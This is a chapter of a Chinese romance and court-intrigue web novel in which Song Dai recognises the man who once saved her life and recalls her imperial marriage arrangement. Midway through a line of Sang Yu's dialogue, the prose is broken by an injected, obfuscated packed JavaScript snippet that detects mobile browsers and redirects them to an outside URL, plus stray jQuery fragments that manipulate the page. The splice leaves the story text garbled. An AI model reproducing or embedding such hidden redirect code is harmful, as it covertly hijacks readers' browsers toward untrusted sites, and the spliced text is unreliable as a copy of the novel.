53. 万物和鸣(五)

作品:《宫门打工记

    突然起身的动作让缝补的线差点偏离了原本落下的位置,谢寻欢及时收手,才未能避免被突然飞出的针刺伤手指。


    他松了一口气,笑了笑,像一抹暖阳,“还好已经完成了。”


    宋玳感觉自己的心脏都在颤动,不是那种字面上,而是真正的颤抖,她捂住胸口,用力呼吸,谢寻欢以为她不舒服,将窗户推开,让流动的空气吹了进来。


    “你怎么了?”他面露关切,其实在他印象中,宋玳是一个身体很不好的人,就比如晚上会梦魇,若是没有人唤她,她便不会醒来,就比如下雨淋湿,她会在四五天后发热或嗓子哑。


    或许淋完雨的第一天,就已经不舒服了,只是她没有察觉。


    她其实是一个迟钝的人。


    就像人是由精神和躯体构成,宋玳显然是前者不好。


    宋玳拉住他的手,手臂上被柔软的手拉住,一股独属于姑娘才会有的触感从手臂蔓延至谢寻欢的全身。


    “这里是疤痕是哪里来的?”她反反复复摸索着,似乎在确认什么。


    谢寻欢一看,这话可真的把他难住了,“我不知道,从我记事起,我就有了,我问我娘,她说她也不知道。”


    “这疤怎么了?”他真的好奇,宋玳的反应怎么那么大。


    她也不是那种很在乎外行之人,总不能说看这块疤太激动了吧。


    “你……”她原本想问的清楚些,话到嘴边又咽了过去,问了又能怎样,她笑了笑,起身转了转身体,原本为了方便缝衣的裙摆自然垂落,一朵小花落在上面。


    就像沿着枝头开放的梨花。


    他们沿着水路走着,途中看着背着行囊的人们,宋玳靠在船上,神情悠闲,她隐约感觉有人在看着她,猛一睁眼,眼睛被光刺到了,她伸手一挡,一侧身,果然有人看着她。


    谢寻欢连忙替她挡住阳光,“你睡着了?”


    宋玳摇头,“你这么看着我,我会不好意思。”


    “哈哈,我是想看你睡了没有。”谢寻欢喃喃道,“毕竟你走了,就像天各一方一样。”


    宋玳笑道,“天下无不散之宴席。”


    他们在水涟漪相见,也在水涟漪告别,阳光将水面照得波光粼粼,今年是春日充满了勃勃生机,鸟语花香,桑玉站在船上,无视二人,宋玳招了招手,就像一只身姿轻巧的小鸟。


    她道了一句“珍重!”


    俩只小船渐行渐远,谢寻欢见她走远了,才肯坐下来,荷花的影子照在他身上,船夫在一旁传来浑厚的笑声,说他是不是舍不得。


    —


    耳边是水声慢慢流淌的声音,晚间的水比白天要凉许多,也慢了许多,好像水也是有意识的,像人一样到了晚上要睡觉,桑玉突然问道:“惊喜吗?”


    宋玳突然想起来那块让她无比在意,一直在寻找的疤痕,真是太巧了,她从来不信世上会有这么巧的事情,就像突然出现卖酸杏的小路,太过意外,更像是一场泡沫。


    谢寻欢偷偷问她,怎么发现小路是冒充的。


    宋玳告诉她,因为真正的小路到死都不知道她的名字。


    不过当时拜托梧帝寻找时,她特意把自己的名字加上去了,让人误以为小路知道自己是谁,事实上,他并不知道,他的名字是假的,她却连假名字都没有留下,当时是为了谨慎。


    她就是想知道,对方想搞什么鬼。后来想想,可能有人要除掉她,虽然人言轻重,好歹她也是颇得梧帝信赖,也办了几件事,有人想借机除掉她,也是在正常不过了。


    又收到了西北的战况,以及失踪了的双刀。


    双刀这人,是梧帝看重的人。


    甘草自己以为自己就是让乌蛮闻风丧胆的双刀,实则不然,他只是别人为了隐藏身份,为自己打造的专属盾牌罢了,至死都不知道已经沦为了他人的棋子。


    而真正的双刀是恨毒,恨毒瞒着去同西北打交道。


    他不屈服于任何人,只有给他心中埋下一根小刺,日后才可借他之力,铲除异己,就比如他为什么和西北有来往,又与临安有密切联系,究竟是他本人还是他背后之人,若是他本人,此人又是何等狡诈,要是背后之人,与异族来往,那就是滔天大罪了。


    “惊喜,太惊喜了,不枉我在此游荡了数月。”宋玳见他一副幸灾乐祸的样子,闭眼,人与人的差距就是这么大,有的人让你觉得像冬日里的一抹暖阳,有的人像寒铁。


    桑玉显然和她不对付。


    桑玉无语,“我指的不是这件事,是你的小救命恩人。”


    “救命恩人就救命恩人,你还小救命恩人。”宋玳也被无语到了,索性靠在床边,吹着晚风,发丝在脸上来回摩挲,起了痒意。心中却是起了一片又一片涟漪。


    月光映在她的脸上,俩岸边的树枝倒影出影子。


    她的脸上像擦了一层珍珠粉,嘴角带着甜美的笑容。


    十六岁的姑娘,青春年华在此,是美丽的是动人的。


    桑玉见她遮不住她的欣喜,提醒道:“你小心掉水里面去了,这一次你的救命恩人可不会下水捞你。”


    她却直接站起来,在船上来回踱步,她的激动之情早就遮掩不住,以至于从分别到现在,她的心就像一只雀跃的小鸟,上下扑腾。


    桑玉见她欣喜,“你是不是高兴的太晚了,你应该在你认出他时就高兴,在你们道别时欣喜,在水涟漪你那么平静,平静的像一滩水,仿佛他只是你的过客,你现在欣喜,也没有用了。”


    不过她就是这样,悲伤来得晚,喜悦来得晚。


    “你早就知道了吧。”


    “这是却玉说的,她不知道曾哪听说了你一直在找人,估计暗中也帮你留意了,原本我是想告诉你的,不过她怕你因此耽误了任务,叫我在事后告诉你。”


    宁静的夜晚给人安抚的魔力,他见宋玳在床上欣喜,像是要跳一支舞一样,本想出口阻止,想想她活了十六年,鲜少为了自己去追求某样东西,她也是权利交织下的祭品。


    今夜的她,就像一个无忧无虑的十六岁姑娘,穿着心爱的衣服,心中藏着雀跃。


    宋玳的觉意全无,原本她想着回宫,公主和亲一事处理起来要麻烦,现在想来也不是事情,她眉眼间的欣喜是具体的,是生动的,是不可多见的,就好像迷雾中一只精灵。


    桑玉不懂她这种感情,皱眉道:“有那么高兴吗?如果你对他很重要,在你们见第一面时他就该


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15279538|166768||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    想起你。”


    相处了这么久,显然人家都没有想起这件事。


    她不该失落么,难受、彷徨、痛苦……


    他兴致不高,宋玳被好心情包裹,她否定了桑玉的话,在心中酝酿了一番,“不,我要找他,并非是要与他相识相知,而是他曾在我绝望时向我伸了一把手,让我觉得温暖,让我本来濒死的心又重新跳动起来,你知道荆州刘氏么,当时我已经绝望了,死亡的魔爪离我那样近,我是害怕的,即使我不理解的事情太多了,我明明有父母,却并不在他们膝下长大,我每天起来读书写字,它们开始对我来说是乐趣,后来便是折磨,我并不痛苦,也不开心,街道上无辜的百姓,他们被杀被抢被|强,我一直在想,如果睡着睡着没了意识,对他们来说会不会是幸福,直到第二天太阳照了下来,洒下温暖,我又庆幸我没有像别人一样,睡着睡着就离开了人世,而他又偏偏救了,我不爱吃肉,因为快饿死的时候,他割肉喂我,他于我来说,是潮湿中的一道光,我找他,是希望他也能活着,我一直以为他已经死了,现在突然告诉我他还活着,且活得很快意。”


    她将手放在胸口处,深深吸了一口气,满足道:“这是上天对我的一种眷顾。”


    桑玉沉默了几秒,得了一件喜事,这一个月的日子都会无比快乐。


    “你忘了你身上还有婚约,皇上亲赐。”他似乎是怕宋玳迷失了方向,毫不留情地提醒她,能在宫中生活的人大多不正常,就如同宋玳,她并不理解自己方才的喜悦是何意义。


    婚约啊。


    “嗯?”宋玳此刻又无语了,她在高兴故人未死,这个人脑抽想到了婚约。


    俩件事一点关联都没有。


    当年薛宋老家常常意见不合,大打出手,在朝廷上吵得梧帝头疼,不知道是哪个大臣嘴贱提出来让他们俩姓联姻,缓解矛盾,薛宋俩家无一人应声,觉得荒谬至极。


    先不说俩家演兵布阵各有风格,彼此都觉得对方逊色一筹。


    光是将军之后,便是大大的不行。


    更何况宋家人一直觉得薛家如同狼豹,野心勃勃。


    贵妃女儿在皇宫与皇后针锋相对,自己家要是在派一个女儿嫁过去,他们老宋家还要不要活了。


    璃国出征,薛宋俩家合力抗衡,为了避免他们俩家争执,朝廷上的大臣也觉得用联姻缓解一下关系是个不错的选择,要是以前是对抗路,现在好歹有一层姻亲,难听的话也不好说出口,但是不能让俩家走的太近,选来选去,便只能选一个名望低,又没有领兵之权的人。


    大臣在薛家跳来跳去,挑中了被小妾生下的庶子,爹不疼娘早逝,在家中谨小慎微,绝地求生的薛映水。


    女方嘛,自然不能挑家中有哥哥弟弟的,这不是,这是用人大忌讳,突然想到宋将军常年呆在玉门,这么多年也就生了一个女儿,加之养在了皇后宫中,未必同宋家亲近。


    众人上书——


    既防止薛宋俩家因个人恩怨影响军心,也避免了一家独大。


    世家权利过大,梧帝借此机会铲了不少小鱼。


    将自己的人安了上去。


    这么多年,这桩婚约都未能被提及,想必也是不在意了。